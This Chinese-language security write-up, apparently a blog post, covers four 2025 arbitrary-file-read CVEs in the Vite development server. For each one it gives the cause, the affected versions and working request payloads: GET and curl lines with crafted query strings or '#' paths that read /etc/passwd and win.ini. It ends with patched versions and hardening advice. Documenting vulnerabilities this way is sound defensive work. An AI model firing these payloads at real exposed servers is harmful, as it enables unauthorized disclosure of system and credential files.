Vite 任意文件读取漏洞(CVE-2025-30208、CVE-2025-31125、CVE-2025-31486、CVE-2025-32395)
Vite简介
Vite是一个现代化的前端构建工具,旨在提供更快的开发体验。它通过基于原生ES模块的开发服务器,在开发过程中实现极速热更新(HMR)。Vite在构建时使用了高度优化的打包工具,如esbuild,极大提高了构建速度。它支持多种前端框架(如React、Vue)并可以通过插件扩展功能。Vite的目标是简化前端开发工作流,并提升开发效率。
Vite 开发服务器,指的是 Vite 在开发模式下运行时自动启动的本地服务器。Vite 开发服务器使用 @fs 前缀来允许访问绝对路径下的文件,通过配置 server.fs.allow 来限制可访问的目录。
以下漏洞存在于 Vite 开发服务器中。
CVE-2025-30208
漏洞原理:
Vite 的目标是提供一个高效的开发服务器,但它的 @fs 功能并没有完善的安全检查机制。@fs 前缀允许访问服务器的文件系统,但它依赖于用户提供的路径,问题就出在路径验证上。
具体来说,Vite 使用了一个文件系统白名单的机制来限制访问某些敏感区域。然而,当路径中含有特定字符或结构时,Vite 并未能正确解析这些路径,从而绕过了原本的安全检查。
需要注意的是,只有在将 Vite 开发服务器通过 --host 参数或配置 server.host 选项暴露到网络时,才会受到此漏洞的影响。
影响版本:
6.2.0 至 6.2.2
6.1.0 至 6.1.1
6.0.0 至 6.0.11
5.0.0 至 5.4.14
4.0.0 至 4.5.9
复现过程:
通过在 URL 中添加特定的查询参数( ?raw?? 或 ?import&raw??)来绕过对访问目录的限制,从而访问任意文件。
通过以下Payload即可实现对 /etc/passwd 的读取。
GET /@fs/etc/passwd?raw??
GET /@fs/etc/passwd?import&raw??
GET /@fs/C://windows/win.ini?raw??
GET /@fs/C://windows/win.ini?import&raw??
CVE-2025-31125
漏洞原理:
Vite开发服务器在处理特定URL请求时,没有对请求的路径进行严格的安全检查和限制,导致攻击者可以绕过保护机制,非法访问项目根目录外的敏感文件。
该漏洞仅在开发服务器通过--host或server.host配置暴露至网络时,才可能被利用。
影响版本:
Vite ≤ 4.5.10
5.0.0 ≤ Vite ≤ 5.4.15
6.0.0 ≤ Vite ≤ 6.0.12
6.1.0 ≤ Vite ≤ 6.1.2
6.2.0 ≤ Vite ≤ 6.2.3
复现过程:
攻击者通过在 URL 中添加特定的查询参数(?inline&import或者?import&?inline=1.wasm?init)来绕过对访问目录的限制,从而访问任意文件(如果存在)。访问成功后返回的内容需要进行Base64解码两次。
使用?raw?import直接返回文件内容。
对于项目根目录中的文件,不需要/@fs/开头。
GET /@fs/etc/passwd?import&?inline=1.wasm?init
GET /@fs/C:/windows/win.ini?import&?inline=1.wasm?init
CVE-2025-31486
漏洞原理:
VIte在特定版本中存在任意文件读取漏洞。允许攻击者通过构造特定的请求路径(如修改为 .svg 文件扩展名并结合其他参数)绕过文件访问限制,暴露任意文件的内容,可能导致敏感信息泄露。该漏洞仅在开发服务器通过--host或server.host配置暴露至网络时,才可能被利用。
影响版本:
>=6.2.0, <=6.2.4
>=6.1.0, <=6.1.3
>=6.0.0, <=6.0.13
>=5.0.0, <=5.4.16
<=4.5.11
复现过程:
攻击者可以通过在 URL 中添加特定的查询参数( ?.svg?.wasm?init )或者添加特定的查询参数(?.svg)并配合特定的请求头(sec-fetch-dest: script)来绕过对访问目录的限制,从而访问任意文件。
相对路径:该检查是在id规范化之前应用的。这允许请求绕过相对路径(例如../../)。
示例:
curl 'http://127.0.0.1:5173/etc/passwd?.svg?.wasm?init'
curl 'http://127.0.0.1:5173/@fs/x/x/x/vite-project/?/../../../../../etc/passwd?import&?raw'
CVE-2025-32395
漏洞原理:
该漏洞影响Node和Bun环境下的开发服务器,攻击者可通过发送包含#字符的HTTP请求,绕过服务器的文件访问限制,返回任意文件内容。根据HTTP 1.1和HTTP 2规范,#不应出现在请求目标中,但Node和Bun并未内部拒绝这类无效请求,而是将其传递至用户端。Vite在处理请求时,未正确验证req.url中是否包含#,从而允许请求绕过server.fs.deny设置。此漏洞仅影响在非Deno环境中运行并显式暴露开发服务器(通过--host或server.host配置选项)的应用。
影响版本:
6.2.0 <= Vite <= 6.2.5
6.1.0 <= Vite <= 6.1.4
6.0.0 <= Vite <= 6.0.14
5.0.0 <= Vite <= 5.4.17
Vite <= 4.5.12
复现过程:
攻击者可以通过添加 # 并构造特殊的 URL 来绕过对访问目录的限制,从而访问任意文件。示例:
curl --request-target /@fs/Users/doggy/Desktop/vite-project/#/../../../../../etc/passwd http://127.0.0.1:5173
/x 是 vite 的根目录,可以通过访问受限制的目录回显的 403 页面获取。
安全措施:
1、升级版本
官方已发布修复版本,建议受影响用户尽快更新。
Vite >= 6.2.6
6.1.5 <= Vite < 6.2.0
6.0.15 <= Vite < 6.1.0
5.4.18 <= Vite < 6.0.0
4.5.13 <= Vite < 5.0.0
下载链接:https://github.com/vitejs/vite/releases/
2、通用建议
• 定期更新系统补丁,减少系统漏洞,提升服务器的安全性。
• 加强系统和网络的访问控制,修改防火墙策略,关闭非必要的应用端口或服务,减少将危险服务(如SSH、RDP等)暴露到公网,减少攻击面。
• 使用企业级安全产品,提升企业的网络安全性能。
• 加强系统用户和权限管理,启用多因素认证机制和最小权限原则,用户和软件权限应保持在最低限度。
• 启用强密码策略并设置为定期修改。
参考:
https://blog.csdn.net/yqya_/article/details/147504934
https://www.venustech.com.cn/new_type/aqtg/20250411/28512.html
https://nic.cqrk.edu.cn/2025_04/01_10/content-52096.html
CVE-2025-30208 https://github.com/vitejs/vite/security/advisories/GHSA-x574-m823-4x7w
CVE-2025-31125 https://github.com/vitejs/vite/security/advisories/GHSA-4r4m-qw57-chr8
CVE-2025-31486 https://github.com/vitejs/vite/security/advisories/GHSA-xcj6-pq6g-qj4x
浙公网安备 33010602011771号